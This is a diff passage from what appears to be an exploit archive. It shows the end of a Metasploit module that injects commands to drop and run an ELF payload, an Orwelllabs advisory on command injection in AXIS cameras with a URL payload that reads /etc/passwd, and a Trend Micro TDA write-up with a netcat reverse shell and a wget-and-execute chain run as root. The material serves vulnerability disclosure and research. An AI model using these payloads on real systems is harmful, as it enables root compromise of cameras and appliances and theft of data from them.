'auth_type' => 'Local',
|
||||
'primary_tab' => 'BASIC',
|
||||
'secondary_type' => 'status',
|
||||
|
||||
'interface' => 'eth0' + '| ' + injection_string + ' |echo ' # vuln
|
||||
}
|
||||
})
|
||||
|
||||
end
|
||||
|
||||
def exploit
|
||||
|
||||
# params
|
||||
timeout = 1550;
|
||||
|
||||
real_user = "";
|
||||
et = Time.now.to_i
|
||||
user = datastore['USERNAME']
|
||||
password = datastore['PASSWORD']
|
||||
|
||||
# do login and get password hash
|
||||
password_hash, et = do_login(user, password, et)
|
||||
vprint_status("got password hash: #{password_hash}\n")
|
||||
sleep(2)
|
||||
|
||||
#if no 'CMD' string - add code for root shell
|
||||
if not datastore['CMD'].nil? and not datastore['CMD'].empty?
|
||||
|
||||
cmd = datastore['CMD']
|
||||
|
||||
# Encode cmd payload
|
||||
encoded_cmd = cmd.unpack("H*").join().gsub(/(\w)(\w)/,'\\x\1\2')
|
||||
|
||||
# kill stale calls to bdump from previous exploit calls for re-use
|
||||
run_command(user, password_hash, et, ("sudo /bin/rm -f /tmp/n ;printf \"#{encoded_cmd}\" > /tmp/n; chmod +rx /tmp/n ; /tmp/n" ))
|
||||
else
|
||||
# Encode payload to ELF file for deployment
|
||||
elf = Msf::Util::EXE.to_linux_x86_elf(framework, payload.raw)
|
||||
encoded_elf = elf.unpack("H*").join().gsub(/(\w)(\w)/,'\\x\1\2')
|
||||
|
||||
# kill stale calls to bdump from previous exploit calls for re-use
|
||||
run_command(user, password_hash, et, ("sudo /bin/rm -f /tmp/m ;printf \"#{encoded_elf}\" > /tmp/m; chmod +rx /tmp/m ; /tmp/m" ))
|
||||
|
||||
handler
|
||||
end
|
||||
end
|
||||
end
|
425
platforms/linux/webapps/40171.txt
Executable file
425
platforms/linux/webapps/40171.txt
Executable file
|
@ -0,0 +1,425 @@
|
|||
_ _ _ _ _ _ _ _ _ _
|
||||
/ \ / \ / \ / \ / \ / \ / \ / \ / \ / \
|
||||
( 0 | R | W | 3 | L | L | L | 4 | 8 | 5 )
|
||||
\_/ \_/ \_/ \_/ \_/ \_/ \_/ \_/ \_/ \_/
|
||||
|
||||
www.orwelllabs.com
|
||||
security advisory
|
||||
olsa-2015-8257
|
||||
PGP: 79A6CCC0
|
||||
|
||||
|
||||
* Advisory Information
|
||||
++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++
|
||||
(+) Title: AXIS Multiple Products Authenticated Remote Command Execution via devtools vector
|
||||
(+) Vendor: AXIS Communications
|
||||
(+) Research and Advisory: Orwelllabs
|
||||
(+) Advisory URL: http://www.orwelllabs.com/2016/01/axis-commucations-multiple-products.html
|
||||
(+) Class: Improper Input Validation [CWE-20]
|
||||
(+) CVE Name: CVE-2015-8257
|
||||
(+) Remotely Exploitable: Yes
|
||||
(+) Locally Exploitable: No
|
||||
(+) OLSA-ID: OWLL2015-8257
|
||||
(+) Affected Versions: Multiple Products/Firmwares (check the list bellow)
|
||||
(+) IoT Attack Surface: Device Administrative Interface/Authentication/Authorization
|
||||
(+) Owasp IoTTop10: I1, I2
|
||||
++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++
|
||||
|
||||
|
||||
Vulnerability
|
||||
+++++++++++++
|
||||
AXIS Network Cameras (various models/firmwares) are prone to Authenticated remote
|
||||
command execution vulnerability. Exploiting this vulnerability a remote attacker can
|
||||
force the execution of certain unauthorized actions, which may lead to further attacks.
|
||||
|
||||
Technical Details
|
||||
+++++++++++++++++
|
||||
The devtools.sh script is the responsible for vulnerability and it's 4 attack vectors through the following pages:
|
||||
|
||||
|
||||
http://xxx.xxx.xxx.xxx/app_license.shtml?app=
|
||||
http://xxx.xxx.xxx.xxx/app_license_custom.shtml?app=
|
||||
http://xxx.xxx.xxx.xxx/app_index.shtml?app=
|
||||
http://xxx.xxx.xxx.xxx/app_params.shtml?app=
|
||||
|
||||
|
||||
An attacker can use the app parameter that waits for the name of a
|
||||
legitimate application to inject commands in the operating system using
|
||||
"%3B", for example, to read the contents of /etc/passwd:
|
||||
|
||||
http: //
|
||||
xxx.xxx.xxx.xxx/app_license.shtml?app=ORWELLLABS%3Bcat%20/etc/passwd
|
||||
|
||||
The data entered in parameter "app =" is passed without any treatment for
|
||||
devtools.sh script located at: {HTMLROOL}/bin/devtools.sh
|
||||
|
||||
This script contains several functions, namely:
|
||||
|
||||
list()
|
||||
status()
|
||||
menulist()
|
||||
mainpagelink()
|
||||
SETTINGSLINK()
|
||||
confvariable()
|
||||
echo_ssivar_licensekey()
|
||||
load_auto_inst_form()
|
||||
|
||||
When these functions are invoked, they interact with the parameters passed
|
||||
by the web application through
|
||||
the affected scripts (e.g. ap_license.shtml? App =). By injecting the code
|
||||
below:
|
||||
|
||||
http: //
|
||||
xxx.xxx.xxx.xxx/app_license.shtml?app=ORWELLLABS%3Bcat%20/etc/passwd
|
||||
|
||||
The value passed in "app" will be passed directly to the script invoking
|
||||
devtools.sh via shell -c as shown in the listing process below (third line
|
||||
invoking confvariable function):
|
||||
|
||||
[SNIP]
|
||||
2039 led 25472 S /usr/bin/enldgts -n
|
||||
12014 root 0 SW [kworker/0:0]
|
||||
13178 root 2548 S /bin/sh -c /usr/html/bin/devtools.sh
|
||||
confvariable ORW..
|
||||
13183 root 2728 R ps -aux PACKAGENAME
|
||||
13312 root 0 SW [kworker/3:1]
|
||||
13320 root 0 SW [kworker/2:0]
|
||||
[SNIP]
|
||||
|
||||
The value "ORWELLLABS%3Bcat%20/etc/passwd" is then passed on to the
|
||||
corresponding function (after passing through a conference on "confvariable
|
||||
()").
|
||||
|
||||
confvariable() {
|
||||
local val=
|
||||
if [ -r "$PACKAGE_DIRECTORY/$1/$ADPPACKCFG" ]; then
|
||||
. "$PACKAGE_DIRECTORY/$1/$ADPPACKCFG" || :
|
||||
eval val=\$$2
|
||||
echo $val
|
||||
fi
|
||||
}
|
||||
|
||||
|
||||
Then enter the function "menulist ()" which we see the main stretch located
|
||||
between the lines 127 and 143:
|
||||
|
||||
[SNIP]
|
||||
127 [ "$ name", "/app_params.shtml", "app = $ APPNAME &" hostA, <! - # If
|
||||
expr = "\ $ activeMenu1 = $ APPNAME" -> true <! - # Else - -> false <! - #
|
||||
endif ->, null,
|
||||
128 [
|
||||
129 [ "Settings", "/app_params.shtml", "app = $ APPNAME &" hostA, <! - # If
|
||||
expr = "\ $ ActivePage = param_ $ APPNAME" -> true <! - # Else - -> false
|
||||
<! - # endif ->, null, []],
|
||||
130 EOF
|
||||
131 if [-z "$ LICENSEPAGE"] || [ "$ LICENSEPAGE" axis =]; Then
|
||||
132 cat << - EOF
|
||||
133 [ "License", "/app_license.shtml", "app = $ APPNAME &" hostA, <! - # If
|
||||
expr = "\ $ ActivePage = license_ $ APPNAME" -> true <! - # Else - -> false
|
||||
<! - # endif ->, null, []],
|
||||
134 EOF
|
||||
135 fi
|
||||
136 if [ "$ LICENSEPAGE" = custom] && [-r "$ HTMLROOT / local / $ APPNAME /
|
||||
license.inc"]; Then
|
||||
137 cat << - EOF
|
||||
138 [ "License", "/app_license_custom.shtml", "app = $ APPNAME &" hostA, <!
|
||||
- # If expr = "\ $ ActivePage custom_ = $ APP NAME" -> true <! - # Else ->
|
||||
false <! - # endif ->, null, []],
|
||||
139 EOF
|
||||
140 fi
|
||||
141 if [-r "$ HTMLROOT / local / $ APPNAME / about.inc"]; Then
|
||||
142 cat << - EOF
|
||||
143 [ "About", "/app_index.shtml", "app = $ APPNAME &" hostA, <! - # If
|
||||
expr = "\ $ ActivePage = $ APPNAME" -> true <! - # Else - > false <! - #
|
||||
endif ->, null, []],
|
||||
|
||||
|
||||
Where the important lines are the menus below:
|
||||
|
||||
|
||||
/bin/devtools.sh (127):
|
||||
[ "$ Name", "/app_params.shtml", "app = $ APPNAME &" hostA, <! - # If expr
|
||||
= "\ $ activeMenu1 = $ APPNAME" -> true -> false <! - #endif ->, null,
|
||||
/bin/devtools.sh (129):
|
||||
[ "Settings", "/app_params.shtml", "app = $ APPNAME &" hostA, <! - # If
|
||||
expr = "\ $ ActivePage = param_ -> true <! - # Else -> false < ! - # endif
|
||||
->, null, []],
|
||||
/bin/devtools.sh (133):
|
||||
[ "License", "/app_license.shtml", "app = $ APPNAME &" hostA, <! - # If
|
||||
expr = "\ $ ActivePage = License" -> true <! - # Else -> false <! - # endif
|
||||
->, null, []],
|
||||
/bin/devtools.sh (138):
|
||||
[ "License", "/app_license_custom.shtml", "app = $ APPNAME &" hostA, <! - #
|
||||
If expr = "\ $ ActivePage = APPNAME" -> true <! - # Else -> false <! - #
|
||||
endif ->, null, []],
|
||||
/bin/devtools.sh (143):
|
||||
[ "About", "/app_index.shtml", "app = $ APPNAME &" hostA, <! - # If expr =
|
||||
"\ $ ActivePage = $ APPNAME" - # else -> false <! - # endif ->, null, []],
|
||||
|
||||
|
||||
In PoC presented above, the payload will be triggered in line vector 133 of
|
||||
devtools script ( "License" menu) that will:
|
||||
|
||||
|
||||
[ "License", "/app_license.shtml", "app = ORWELLLABS% 3Bcat% 20
|
||||
/etc/passwd& "HostA, <! - # If expr =" \ $ ActivePage = License "-> true <!
|
||||
- # Else -> false <! - # Endif ->, null, []],
|
||||
|
||||
And when executed echoes the results on the page.
|
||||
|
||||
|
||||
Impact
|
||||
++++++
|
||||
The impact of this vulnerability is that taking into account the busybox
|
||||
that runs behind (and with root privileges everywhere. in all the binaries
|
||||
and scripts) is possible to execute arbitrary commands, create backdoors,
|
||||
performing a reverse connection to the machine attacker, use this devices
|
||||
as botnets and DDoS amplification methods... the limit is the creativity of
|
||||
the attacker.
|
||||
|
||||
|
||||
Affected Products
|
||||
+++++++++++++++++
|
||||
Multiple Axis Communications Products/Firmware including:
|
||||
|
||||
* AXIS Q6032-E/Q6034-E/Q6035-E PTZ Dome Network Camera -
|
||||
Firmware 5.41.1.4
|
||||
* AXIS Q6042-E/Q6044-E/Q6045-E PTZ Dome Network Camera -
|
||||
Firmware 5.70.1.2
|
||||
* AXIS A8004-VE Network Video Door Station -
|
||||
Firmware 5.85.1.1
|
||||
* AXIS P3384 fixed dome Network camera -
|
||||
Firmware 6.10.1
|
||||
* AXIS P5532-E PTZ Dome Network Camera -
|
||||
Firmware 5.41.3.1
|
||||
* AXIS Q60-E Network Dome PTZ -
|
||||
Firmware 5.65.1.1, 5.41.*, 5.70.1.1
|
||||
* AXIS Q7401 Video Encoder -
|
||||
Firmware 5.50.4
|
||||
* AXIS Q7404 Video Encoder -
|
||||
Firmware 5.50.4.*
|
||||
* AXIS Q7406 Blade Video Encoder -
|
||||
Firmware 5.51.2
|
||||
* AXIS Q7411 Video Encoder -
|
||||
Firmware 5.90.1
|
||||
* AXIS Q7414 Blade Video Encoder -
|
||||
Firmware 5.51.2
|
||||
* AXIS Q7424-R Video Encoder -
|
||||
Firmware 5.50.4
|
||||
* AXIS Q7424-R Mk II Video Encoder -
|
||||
Firmware 5.51.3
|
||||
* AXIS Q7436 Blade Video Encoder -
|
||||
Firmware 5.90.1
|
||||
|
||||
|
||||
The list bellow shows the firmwares affected (and probably these firmwares
|
||||
are not available anymore, but just the last version of them, if you not
|
||||
sure, check the hash). All these firmwares (in the second column) has the
|
||||
same "devtools.sh" shellscript (responsible for trigger the RCE
|
||||
vulnerability) embedded. The script can be found on directory:
|
||||
"{HTMLROOT}/bin/devtools.sh".
|
||||
|
||||
========================================================================
|
||||
PRODUCT FIRMWARE FIRMWARE HASH
|
||||
========================================================================
|
||||
AXIS A8004-VE 5.85.1.1 e666578d7fca54a7db0917839187cd1a
|
||||
AXIS A8004-VE 5.85.1 50f114d1169f6fe8dbdadd89ad2e087d
|
||||
AXIS F34 5.85.3 7a6ed55038edd8a2fc0f676fb8a04b10
|
||||
AXIS F41 5.85.3 8a089a51a0ecd63543c7883c76db7921
|
||||
AXIS F44 5.85.3 9e3b05625cfe6580ca3e41c5415090e7
|
||||
AXIS M1013 5.50.5.4 231cdd7ba84a383ba7f2237612b1cc12
|
||||
AXIS M1014 5.50.5.4 231cdd7ba84a383ba7f2237612b1cc12
|
||||
AXIS M1025 5.50.5.4 90d59c56171402828fceb7d25b18be2e
|
||||
AXIS M1033-W 5.50.5.4 7b96dd594f84fc8c3a4a3ab650434841
|
||||
AXIS M1034-W 5.50.5.4 7b96dd594f84fc8c3a4a3ab650434841
|
||||
AXIS M1054 5.50.3.4 39e279aa2c462e9ec01c7b90f698f76a
|
||||
AXIS M1103 5.50.3 c10243b05fe30655ded7a12b998dbf5e
|
||||
AXIS M1104 5.50.3 c10243b05fe30655ded7a12b998dbf5e
|
||||
AXIS M1113 5.50.3 c10243b05fe30655ded7a12b998dbf5e
|
||||
AXIS M1114 5.50.3 c10243b05fe30655ded7a12b998dbf5e
|
||||
AXIS M1124 5.75.3.3 f53e0ada9f2e54d2717bf8ad1c7a5928
|
||||
AXIS M1125 5.75.3.3 f53e0ada9f2e54d2717bf8ad1c7a5928
|
||||
AXIS M1143-L 5.60.1.5 367aab0673fc1dec0b972fd80a62e75b
|
||||
AXIS M1144-L 5.60.1.5 367aab0673fc1dec0b972fd80a62e75b
|
||||
AXIS M1145 5.90.1 ece8f4ccd9d24a01d382798cb7e4a7c7
|
||||
AXIS M1145-L 5.90.1 ece8f4ccd9d24a01d382798cb7e4a7c7
|
||||
AXIS M2014 5.50.6 3ffe1a771565b61567f917621c737866
|
||||
AXIS M3004 5.50.5.4 d65545ef6c03b33b20bf1a04e8216a65
|
||||
AXIS M3005 5.50.5.4 b461fb6e6aab990d3650b48708cee811
|
||||
AXIS M3006 5.70.1.2 b2864dcf48ac83053ba4516a2bda535e
|
||||
AXIS M3007 5.75.1.1 a0cc2e9a6ddad758b16f7de518080f70
|
||||
AXIS M3014 5.40.9.5 01d8917c9e60dde7741c4a317044b2f7
|
||||
AXIS M3024-LVE 5.50.5.4 0b91bb66d37e208e130c7eb25099817b
|
||||
AXIS M3025-VE 5.50.5.4 751f776668d340edf4149dc116ce26c6
|
||||
AXIS M3026 5.70.1.2 3e78ce4badf994f6d10c5916b6d5513d
|
||||
AXIS M3027 5.75.1.1 6d377ea9ea99068e910b416ccc73d8ca
|
||||
AXIS M3037 5.75.1.1 ef69c662079018e19e988663ad1fc509
|
||||
AXIS M3113-R 5.40.9.4 8d3eac43ad5c23626b75d5d7c928e29d
|
||||
AXIS M3113-VE 5.40.9.4 8d3eac43ad5c23626b75d5d7c928e29d
|
||||
AXIS M3114-R 5.40.9.4 8d3eac43ad5c23626b75d5d7c928e29d
|
||||
AXIS M3114-VE 5.40.9.4 8d3eac43ad5c23626b75d5d7c928e29d
|
||||
AXIS M3203 5.50.3.1 7da467702db8b0e57ea5d237bd10ab61
|
||||
AXIS M3204 5.50.3.1 7da467702db8b0e57ea5d237bd10ab61
|
||||
AXIS M5013 5.50.3.1 9183b9ac91c3c03522f37fce1e6c2205
|
||||
AXIS M5014 5.50.3.1 9183b9ac91c3c03522f37fce1e6c2205
|
||||
AXIS M7010 5.50.4.1 84f618087151b0cc46398a6e0c6ebc0d
|
||||
AXIS M7011 5.90.1 362658a55d4f2043ed435c72588bd7e7
|
||||
AXIS M7014 5.50.4.1 84f618087151b0cc46398a6e0c6ebc0d
|
||||
AXIS M7016 5.51.2.3 b3de957bbca166f145969a6884050979
|
||||
AXIS P1204 5.50.6 3ffe1a771565b61567f917621c737866
|
||||
AXIS P1214 5.50.6 3ffe1a771565b61567f917621c737866
|
||||
AXIS P1224 5.50.6 3ffe1a771565b61567f917621c737866
|
||||
AXIS P1343 5.40.9.8 9bbd08a92881b1b07e9f497a436b6a60
|
||||
AXIS P1344 5.40.9.8 9bbd08a92881b1b07e9f497a436b6a60
|
||||
AXIS P1346 5.40.9.6 c89ee1e7c54b4728612277e18be1c939
|
||||
AXIS P1347 5.40.9.6 f0f95768e367c3a2a8999a0bd8902969
|
||||
AXIS P1353 5.60.1.5 0f59d0e34301519908754af850fdfebb
|
||||
AXIS P1354 5.90.1 120c230067b7e000fa31af674f207f03
|
||||
AXIS P1355 5.60.1.5 5dbec1d7b8b6f337581da6ec668a9aad
|
||||
AXIS P1357 5.90.1 d83472c4d545763e5b05cd6d0c63430f
|
||||
AXIS P1364 5.85.4 2db00322be0b8c939c89fe4f3e0fd67d
|
||||
AXIS P1365 5.75.3.2 1eba3426b2046e696d80ea253fe5e9b6
|
||||
AXIS P1405 5.80.1.1 4db97061feb3cf91eb0cded516f9c5af
|
||||
AXIS P1425 5.80.1.1 e9213ed81dc68f07c854a990889995ba
|
||||
AXIS P1427 5.80.1.1 dfe4cd28b929e78d42e8fc8c98616a7c
|
||||
AXIS P1428-E 5.80.1.1 7a65a0b0e4050824de0d46a1725ad0ea
|
||||
AXIS P1435 5.85.4.1 219467e77dcb3195d7203a79ecd30474
|
||||
AXIS P3214 6.10.1 00fca61c0a97dfc5e670a308cbda14d4
|
||||
AXIS P3215 6.10.1 00fca61c0a97dfc5e670a308cbda14d4
|
||||
AXIS P3224 6.10.1.1 5fae8852b7790cf6f66bb2356c60acd6
|
||||
AXIS P3225 6.10.1.1 5fae8852b7790cf6f66bb2356c60acd6
|
||||
AXIS P3301 5.40.9.4 27b7a421f7e3511f3a4b960c80b42c56
|
||||
AXIS P3304 5.40.9.4 df9e2159c4eadf5e955863c7c5691b1a
|
||||
AXIS P3343 5.40.9.8 dd752099f8b2c48b91914ec32484f532
|
||||
AXIS P3344 5.40.9.8 dd752099f8b2c48b91914ec32484f532
|
||||
AXIS P3346 5.50.3.1 d30498356187ba44f94f31398b04a476
|
||||
AXIS P3353 5.60.1.4 fa4924480563924a0365268f8eef8864
|
||||
AXIS P3354 6.10.1 d2f317d88dea1f001ce8151106e0322b
|
||||
AXIS P3363 5.60.1.5 4b3175a30893a270e5dca8fc405b5d7e
|
||||
AXIS P3364 6.10.1 6128c6ba026a68a5759b08971504807e
|
||||
AXIS P3365 6.10.1 f26b0616c595622abb17ce4411dee2b2
|
||||
AXIS P3367 6.10.1 8dad67aae2ffaee6fb147d6942476f00
|
||||
AXIS P3384 6.10.1 138ff1bdc97d025f8f31a55e408e2a1d
|
||||
AXIS P3904-R 5.80.1 0b420fa6e8b768cafd6fa6b5920883be
|
||||
AXIS P3905-R 5.80.1 0b420fa6e8b768cafd6fa6b5920883be
|
||||
AXIS P3915-R 5.80.1 1dcf4a39c7e7349629ade723f563e892
|
||||
AXIS P5414-E 5.90.1 f5782c5dbe8dcffd7863b248a55682ee
|
||||
AXIS P5415-E 5.90.1 f5782c5dbe8dcffd7863b248a55682ee
|
||||
AXIS P5512 95.50.4.2 a2d5aab90d51af80d924bb3cc8b249fc
|
||||
AXIS P5512-E 5.50.4.2 4fd5d721e27fe0f4db7d652bd1730749
|
||||
AXIS P5514-E 5.85.3 b1fc3d26f6293b94f042ac6ea3aa8271
|
||||
AXIS P5515 5.85.3 99b2512b57ed8a12c6ad2e53adc8acf8
|
||||
AXIS P5515-E 5.85.3 639388e504a0841cad2eee7374476727
|
||||
AXIS P5522 5.50.4.3 8335552031bc297ce87666542f0e3106
|
||||
AXIS P5522-E 5.50.4.2 218e1b6997f0e5338f86f0ed1b12f8a0
|
||||
AXIS P5532 5.41.3.1 b1ab3dd8ed126dd68b4793dec9bf3698
|
||||
AXIS P5532-E 5.41.3.1 f6322413687d169dce61459d8338a611
|
||||
AXIS P5534 5.40.9.5 3b94922050bec9bc436dce3fcd9bcfaf
|
||||
AXIS P5534-E 5.40.9.6 a931bc58ee0e882b359dbecd3d699c52
|
||||
AXIS P5544 5.41.2.2 cb5bcec36f839914db93eaf17ae83e5e
|
||||
AXIS P5624-E 5.75.1.1 b93952a6083aa628026f145a1dffa313
|
||||
AXIS P5635-E 5.75.1.1 24d32e4fab54f16b5698ff4e477fc188
|
||||
AXIS P7210 5.50.4.1 b0e19f8837754ac73aa146b5710a12b1
|
||||
AXIS P7214 5.50.4.1 b0e19f8837754ac73aa146b5710a12b1
|
||||
AXIS P7216 5.51.2.1 a77e96832f7d87970bf286288ce2ca81
|
||||
AXIS P7224 5.51.2.1 5d5ecf065f456e66eb42d9360d22f863
|
||||
AXIS P8514 5.40.9.4 8d3eac43ad5c23626b75d5d7c928e29d
|
||||
AXIS Q1615 5.80.1.3 8d95c0f9f499f29fcfb95419b629ab44
|
||||
AXIS Q1635 5.80.1.3 8d95c0f9f499f29fcfb95419b629ab44
|
||||
AXIS Q1635-E 5.80.1.3 8d95c0f9f499f29fcfb95419b629ab44
|
||||
AXIS Q1755 5.50.4.1 6ca8597f48ed122ce84c2172c079cdf9
|
||||
AXIS Q1765-LE 5.90.1.1 7930bf5c4c947f2f948f8b7475f01409
|
||||
AXIS Q1765-LE-PT 5.90.1.1 890ba75a8108d97f2ef1a4aecedf76b1
|
||||
AXIS Q1775 5.85.3 f47bc9d46a913561e42b999cc6697a83
|
||||
AXIS Q1910 5.50.4.1 71525d4d56d781318b64e8200806dcf0
|
||||
AXIS Q1921 5.50.4.1 82f956fec96a9068941e24e12045cefd
|
||||
AXIS Q1922 5.50.4.1 111a1a4f823e7281af1c872ba52f73c4
|
||||
AXIS Q1931-E 5.75.1.3 5cf13a2c3d65644c3376ec6466dd9b49
|
||||
AXIS Q1931-E-PT-Mount5.75.1.1 3ba7e187dc25e98ab73aef262b68e1b9
|
||||
AXIS Q1932-E 5.75.1.2 b8efe54fc3eca7f2a59322779e63e8e1
|
||||
AXIS Q1932-E PT.Mount5.75.1 513fc031f85542548eeccfeaa7c1a29e
|
||||
AXIS Q2901-E 5.55.4.1 d2945717297edab3326179541cfa0688
|
||||
AXIS Q2901-E PT.Mount5.55.4.1 a41aed45359f11d2ec248419c124a52d
|
||||
AXIS Q3505 5.80.1.4 9394b3577bdb17cb9f74e56433a0e660
|
||||
AXIS Q3709-PVE 5.75.1.1 e9fb87337c0a24139a40459336f0bcb3
|
||||
AXIS Q6000-E 5.65.1.1 b97df19057db1134a43c26f5ddf484de
|
||||
AXIS Q6032 5.41.1.2 8caad5cd7beeebaf5b05b011b8a1e104
|
||||
AXIS Q6032-C 5.41.3 58213a4b1c7a980dcb3b54bbee657506
|
||||
AXIS Q6032-E 5.41.1.4 b4aa977b254694b5d14d7e87e5652a6b
|
||||
AXIS Q6034 5.41.1.1 4f44a8661534bac08a50651ee90a7d47
|
||||
AXIS Q6034-C 5.41.3 25d455dc2e2d11639f29b0b381ddd7cb
|
||||
AXIS Q6034-E 5.41.1.2 3bfab61354170e42ce27fc2477d57026
|
||||
AXIS Q6035 5.41.1.2 9d124d096bf48fbfd2e11c34de3c880d
|
||||
AXIS Q6035-C 5.41.3 42d23ae4d0b1456cc54e54734a586d53
|
||||
AXIS Q6035-E 5.41.1.5 e2123a9e37fda4044847c810b7f25253
|
||||
AXIS Q6042 5.70.1.1 4f253ed4bb0efaa4a845e0e9bd666766
|
||||
AXIS Q6042-C 5.70.1.1 21bd154f706091b348c33dd9564438da
|
||||
AXIS Q6042-E 5.70.1.2 9d5dc03268638498d0299bf466fa0501
|
||||
AXIS Q6042-S 5.70.1.1 085fc5903d99899d78b48abb9cafdecd
|
||||
AXIS Q6044 5.70.1.1 29e4cdb9ba2f18953512c5d1e17229c1
|
||||
AXIS Q6044-C 5.70.1.1 dc3fc472b88e07278e6ff82eaee71a8d
|
||||
AXIS Q6044-E 5.70.1.2 83d1e6c1fe5aa9c26710eed03721f928
|
||||
AXIS Q6044-S 5.70.1.1 654ffd048fdb41ae3c86da4f41e2a31d
|
||||
AXIS Q6045 5.70.1.1 2db9b247729e9487f476a35a6dd456ce
|
||||
AXIS Q6045-C 5.70.1.1 9bb561126e2b4f69ac526cfccdf254f6
|
||||
AXIS Q6045-C-MkII 5.70.1.1 2c9efccb0fba0e63fc4fff73e6ba0fea
|
||||
AXIS Q6045-E 5.70.1.2 321a5d906863787fdc5e34483e6ec2a8
|
||||
AXIS Q6045-E-MkII 5.70.1.2 d9d4242a83b1ed225dd3c20530da034d
|
||||
AXIS Q6045-MkII 5.70.1.1 686f0fe8727e2a726091c9ddf3827741
|
||||
AXIS Q6045-S 5.70.1.1 43473e42f360efb4ea6f84da35fd9746
|
||||
AXIS Q6045-S-Mk-II 5.70.1.1 d747a5a3d69264af8448f72822e8d60b
|
||||
AXIS Q6114-E 5.65.2.1 8cb9a3a88c79ebb2cf5def3cda0da148
|
||||
AXIS Q6115-E 5.65.2.1 7d2dd3410ce505cd04a1c182917523a5
|
||||
AXIS Q6128-E 5.85.2.1 49508ff56508f809a75d367896e8d56f
|
||||
AXIS Q7401 5.50.4 99855c6c9777fdd5fc5e58349ae861a5
|
||||
AXIS Q7404 5.50.4.2 ffdbee7c9daad303e89a432ba9c4711d
|
||||
AXIS Q7404 5.50.4 6e31e9709cf9717968c244267aa8c6d0
|
||||
AXIS Q7406 5.51.2 3cdb7935278157b9c91c334613012b1e
|
||||
AXIS Q7411 5.90.1 26893adedcfc1953829084e8e7c3fbdd
|
||||
AXIS Q7414 5.51.2 8ff659a8db077b545205f56dfef217d4
|
||||
AXIS Q7424-R 5.50.4 d570ef1886c84ab53934fc51385e8aa7
|
||||
AXIS Q7424-R-MkII 5.51.3 964a13f6b1aef17562cbbde11d936dee
|
||||
AXIS Q7436 5.90.1 8fe1ef95b231bf6f771c3edc0fbc8afd
|
||||
AXIS Q8414-LVS 6.10.1 9529cd9cf3b3bd66bec22c0b1c7448cd
|
||||
AXIS Q8631-E 5.75.1 c7f882afc268ca3d60d07d5770db6a51
|
||||
AXIS Q8632-E 5.75.1 f01d9a86d21335fe3d78e634858b9e77
|
||||
AXIS Q8665-LE 5.90.1.1 1549b56d34250a93bbcf7b24b4f63699
|
||||
AXIS V5915 5.75.1.1 a1c39a9cd545091825001a831d0c1ea4
|
||||
|
||||
|
||||
Vendor Information, Solutions and Workarounds
|
||||
+++++++++++++++++++++++++++++++++++++++++++++
|
||||
According to the Vendor, tickets was opened to correct this issue.
|
||||
|
||||
Credits
|
||||
+++++++
|
||||
These vulnerabilities has been discovered and published by Orwelllabs.
|
||||
|
||||
|
||||
Timeline
|
||||
++++++++
|
||||
2015-09-10: First attempt to contact Vendor
|
||||
2015-10-30: Vulnerability was reported to CERT
|
||||
2015-11-30: CVE-IDs are assigned
|
||||
2016-07-25: Since the first vulnerability was published (09.04.2016 -
|
||||
EDB-ID: 39683)
|
||||
a long conversation revolved around these vulnerabilities with the
|
||||
manufacturer.
|
||||
We maintained communication since 15/04/2016 until now.
|
||||
As there is still disagreement regarding vulnerabilities (and botnets in
|
||||
the wild: https://goo.gl/k79I8u),
|
||||
we thought it good to publish this advisory, since it has already exhausted
|
||||
all deadlines.
|
||||
|
||||
|
||||
Legal Notices
|
||||
+++++++++++++
|
||||
The information contained within this advisory is supplied "as-is" with no
|
||||
warranties or guarantees of fitness of use or otherwise. We accept no
|
||||
responsibility for any damage caused by the use or misuse of this
|
||||
information.
|
||||
|
||||
|
||||
About Orwelllabs
|
||||
++++++++++++++++
|
||||
# Loadind k4fK43sQu3 m0dule...
|
54
platforms/linux/webapps/40180.txt
Executable file
54
platforms/linux/webapps/40180.txt
Executable file
|
@ -0,0 +1,54 @@
|
|||
Version: TDA 2.6.1062r1
|
||||
|
||||
Summary:
|
||||
|
||||
The hotfix_upload.cgi file contains a flaw allowing a user to execute commands under the context of the root user.
|
||||
|
||||
Details:
|
||||
|
||||
The hotfix_upload.cgi file is used to upload files (hot fixes). Below is a sample of the upload function being used:
|
||||
|
||||
POST /cgi-bin/hotfix_upload.cgi?sID=hotfix_temp HTTP/1.1
|
||||
Accept: image/jpeg, image/gif, image/pjpeg, application/x-ms-application, application/xaml+xml, application/x-ms-xbap, */*
|
||||
Referer: https://<server IP>/cgi-bin/hotfix_history.cgi
|
||||
Accept-Language: en-US
|
||||
User-Agent: Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.1; Win64; x64; Trident/4.0; .NET CLR 2.0.50727; SLCC2; .NET4.0C; .NET4.0E; .NET CLR 3.5.30729; .NET CLR 3.0.30729)
|
||||
Content-Type: multipart/form-data; boundary=—————————7e0823930136
|
||||
UA-CPU: AMD64
|
||||
Accept-Encoding: gzip, deflate
|
||||
Host: <server IP>
|
||||
Content-Length: 206
|
||||
Connection: close
|
||||
Cache-Control: no-cache
|
||||
Cookie: session_id=
|
||||
|
||||
—————————–7e0823930136
|
||||
Content-Disposition: form-data; name=”ajaxuploader_file”; filename=”test.txt”
|
||||
Content-Type: text/plain
|
||||
|
||||
a
|
||||
—————————–7e0823930136–
|
||||
|
||||
The actual injection takes place in the name of the file being uploaded (ie. filename=”test.txt&id”). By performing the following request, system information is sent back in the response:
|
||||
|
||||
http://www.korpritzombie.com/wp-content/uploads/2016/07/1.png
|
||||
|
||||
This gives any user the ability to execute simple non interactive commands. However, more complex (including remote shell) commands are possible.
|
||||
|
||||
Special characters like ‘/’,'<‘,’>’ are not sent across to the server. But utilizing the environment itself, it becomes possible to insert characters like the ‘/’. Below is an example of a user using this method to retrieve the /etc/passwd file (NOTE: `echo $PATH | cut -c1` will print ‘/‘ to the final command):
|
||||
|
||||
http://www.korpritzombie.com/wp-content/uploads/2016/07/2.png
|
||||
|
||||
Now the attacker has the ability to create a shell by uploading a file containing the following (where [ip address] is your receiving machine):
|
||||
|
||||
rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/sh -i 2>&1|nc [ip address] 5555 >/tmp/f
|
||||
|
||||
To upload the file, the attacker simply names this file to shell, then uploads using this vulnerability and wget:
|
||||
|
||||
test.txt&wget http:`echo $PATH | cut -c1“echo $PATH | cut -c1`[ip]`echo $PATH | cut -c1`shell
|
||||
|
||||
Once the file has been uploaded (it will be placed in /opt/TrendMicro/MinorityReport/www/cgi-bin), the attacker can chmod and then execute the file as a script, creating a reverse shell, running as root:
|
||||
|
||||
test.xml&chmod a+x shell
|
||||
